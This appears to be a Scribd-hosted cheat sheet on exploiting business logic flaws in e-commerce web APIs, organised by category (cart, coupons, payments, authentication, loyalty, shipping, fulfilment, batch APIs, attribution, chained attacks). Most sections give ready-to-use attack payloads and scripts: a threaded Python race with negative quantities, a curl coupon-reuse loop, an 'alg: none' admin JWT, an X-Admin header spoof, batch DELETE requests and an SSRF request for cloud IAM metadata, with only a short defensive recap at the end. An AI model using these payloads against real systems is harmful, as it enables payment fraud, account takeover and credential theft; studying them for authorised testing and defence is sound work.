Scribd
Upload
6 views

itwhatitis

The document provides a comprehensive guide on business logic vulnerabilities in web APIs and applications, detailing various categories of exploitation such as cart manipulation, coupon abuse, payment system exploits, and more. Each section outlines discovery methods, input examples, exploit flows, and potential impacts of these vulnerabilities. It also includes defensive measures to mitigate risks associated with these exploits.

Uploaded by

tnyange909
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
6 views

itwhatitis

The document provides a comprehensive guide on business logic vulnerabilities in web APIs and applications, detailing various categories of exploitation such as cart manipulation, coupon abuse, payment system exploits, and more. Each section outlines discovery methods, input examples, exploit flows, and potential impacts of these vulnerabilities. It also includes defensive measures to mitigate risks associated with these exploits.

Uploaded by

tnyange909
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 7

🔐Exploitation

Business Logic Vulnerabilities: Comprehensive


Guide
A categorized breakdown of business logic flaws in modern web APIs and applications
with deep coverage of discovery, input tampering, and real-world exploitation.

🔁 1. Cart & Inventory Manipulation


Definition: Exploiting flaws in logic that handles product pricing, quantity, and availability.

🔸 Categories:
• CART-001: Negative Item Quantity
• CART-002: Price Override via Client Input
• CART-003: Bulk Discount Exploit
• CART-004: Inventory Overflow
• CART-005: Gift Wrapping or Add-on Tampering

🔍 Discovery:
• Intercept requests to /cart, /add-to-cart, /inventory/update

• Look for:
• Modifiable fields: quantity, price, discount_id

• Conditional fields hidden in client (customizations, addon_cost)

🔢 Input Structures:
POST /api/cart/add
{
"product_id": "123",
"quantity": -5,
"custom_price": 1.00,
"gift_wrap": "true"
}

🚨 Exploit Flows:
• Race Condition Additions (Negative Quantity):
import threading, requests
def attack(): requests.post("https://target.com/api/cart/add",
json={"product_id": "123", "quantity": -1})
for _ in range(50): threading.Thread(target=attack).start()
🧨 Impact:
• Product refunded for nonexistent purchases
• Inventory records desynced
• Exploit for gift-wrap or bonus item addition without charge

🎟 2. Coupon & Discount Abuse


Definition: Abusing coupon or promo validation logic to get unintended benefits.

🔸 Categories:
• DISC-001: Coupon Reuse
• DISC-002: Race Condition Coupons
• DISC-003: Expired Coupon Reuse
• DISC-004: Stackable Discounts
• DISC-005: Gift Card Replay

🔍 Discovery:
• APIs like /coupon/apply, /promo/validate

• Fuzz code, discount_type, gift_card_balance

🔢 Input Example:
POST /api/coupon/apply
Headers: {"X-Request-ID": "RACE-456"}
{
"code": "WELCOME100"
}

🧨 Exploit Flow:
• Apply same coupon multiple times via race:
for i in {1..20}; do
curl -X POST -H "X-Request-ID: $i" -d '{"code": "SAVE50"}'
https://target.com/api/coupon/apply &
done

🧨 Impact:
• Double/triple discount
• Free gift cards, financial loss
• Gift card replays after refund
💳 3. Payment System Exploits
Definition: Abuse of price, tax, or order total logic during checkout/payment flow.

🔸 Categories:
• PAY-001: Price Tampering
• PAY-002: Partial Payment Abuse
• PAY-003: Negative Tax Rate
• PAY-004: Refund Abuse
• PAY-005: Multi-currency Rounding Abuse

🔍 Discovery:
• Endpoints: /checkout, /payment/initiate, /payment/confirm

• Fuzz order_total, tax_rate, currency

🔢 Input:
PATCH /api/checkout
{
"order_total": 0.01,
"currency": "USD"
}

🧨 Real Exploits:
• Refund without return:
POST /api/refund
{
"order_id": "456", "reason": "item damaged"
}

• Convert rounding bugs into profit (e.g., JPY <-> USD)

🔐 4. Authentication & Authorization Bypass


Definition: Bypass or downgrade identity verification mechanisms.

🔸 Categories:
• AUTH-001: OTP/2FA Brute Force
• AUTH-002: JWT Manipulation
• AUTH-003: Role Escalation
• AUTH-004: Session Fixation

🔍 Discovery:
• APIs: /login, /verify, /token/refresh
• Fuzz headers: Authorization, X-User-Role, cookies

🔢 Input:
POST /api/2fa/verify
{
"otp": "123456"
}

🧨 Exploit:
• JWT Mod:
{
"alg": "none", "user": "admin"
}

• OTP bypass:
Modify 2FA validation result in Burp:
{"success": true, "token": "admin-session"}

🪙 5. Loyalty & Rewards Program Abuse


Definition: Exploiting the logic of point-based reward systems.

🔸 Categories:
• LOY-001: Point Inflation
• LOY-002: Tier Promotion via Replay
• LOY-003: Redeem Loop
• LOY-004: Expiry Date Bypass

🔍 Discovery:
• APIs: /loyalty/add, /rewards/redeem, /user/tier

• Fuzz: points, redeem_code, tier, timestamp

🔢 Input:
PUT /api/loyalty/points
{
"user_id": "attacker",
"action": "add",
"points": 999999
}

🧨 Exploits:
• Abuse APIs to:
• Redeem points after refund
• Promote to VIP status
• Inject points repeatedly

🚚 6. Shipping & Delivery Exploits


Definition: Manipulating shipment eligibility or address validation logic.

🔸 Categories:
• SHIP-001: Free Shipping Abuse
• SHIP-002: Address Manipulation (PO Box bypass)
• SHIP-003: Warehouse/Region Spoofing
• SHIP-004: Cross-border Shipping Trick

🔍 Discovery:
• Endpoints: /shipping/calculate, /address/validate

• Fuzz: country, zipcode, region, promo_zone

🔢 Input:
POST /api/shipping/calculate
{
"country": "FREE_SHIPPING_ZONE"
}

📦 7. Order Fulfillment Tampering


Definition: Altering the order process flow post-payment.

🔸 Categories:
• FULL-001: Status Update Abuse
• FULL-002: Pre-shipment Manipulation
• FULL-003: Fake Shipment Notifications
• FULL-004: Admin API Spoofing

🔍 Discovery:
• Look for /order/status, /fulfillment/update, X-Admin headers

• Look for insecure role validation

🔢 Input:
POST /api/orders/123/status
Headers: {"X-Admin": "true"}
{
"status": "shipped"
}
🧨 Impact:
• Force order into "shipped" state
• Fraudulent order confirmations

🧩 8. API Design Exploits


Definition: Flaws in how API endpoints accept, trust, or structure requests.

🔸 Categories:
• API-001: Mass Assignment
• API-002: Unpublished Endpoint Discovery (Shadow API)
• API-003: Batch Injection
• API-004: Internal Endpoint Exposure

🔢 Exploit:
POST /api/batch
{
"ops": [
{"method": "DELETE", "path": "/users/789"},
{"method": "PATCH", "path": "/admin/settings"}
]
}

🎯 9. Analytics & Attribution Fraud


Definition: Manipulating marketing attribution systems.

🔸 Categories:
• FRAUD-001: UTM Referrer Spoofing
• FRAUD-002: Fake Conversions
• FRAUD-003: Pixel Injection

🔍 Discovery:
• Check UTM usage, pixel endpoints, conversion APIs

🔢 Exploit:
GET /product/123?utm_source=fake_affiliate
X-Forwarded-For: 1.2.3.4
🧠 10. Advanced & Chained Exploits
🔸 Categories:
• ADV-001: SSRF to Cloud Metadata Access
• ADV-002: Webhook Hijack
• ADV-003: Cache Poisoning
• ADV-004: Logic Bomb via Webhook + Inventory Race

🚨 SSRF + IAM Keys Example:


POST /api/generate-pdf
{
"url": "http://169.254.169.254/latest/meta-data/iam/"
}

🧪 Exploitation Methodology (Deep Dive)


Stage Tools Goal
Discovery Burp, Postman, ZAP Fuzz endpoints, find logic flaws
Testing Custom scripts Parameter tampering, timing/race
Exploitation Python, curl, intruder Chain vulnerabilities
Persistence Webhooks, admin abuse Maintain control or repeat exploit

🛡️ Defensive
✅
•
Countermeasures (Recap & Expand)
Server-Side Enforcement: Never trust client values like price, quantity
• ✅ Rate Limiting & Token Binding: Prevent brute-force and race attacks
• ✅ Strong Authorization: Role validation for every action
• ✅ Audit Logging: Trace abnormal flows and rollback logic
"

You might also like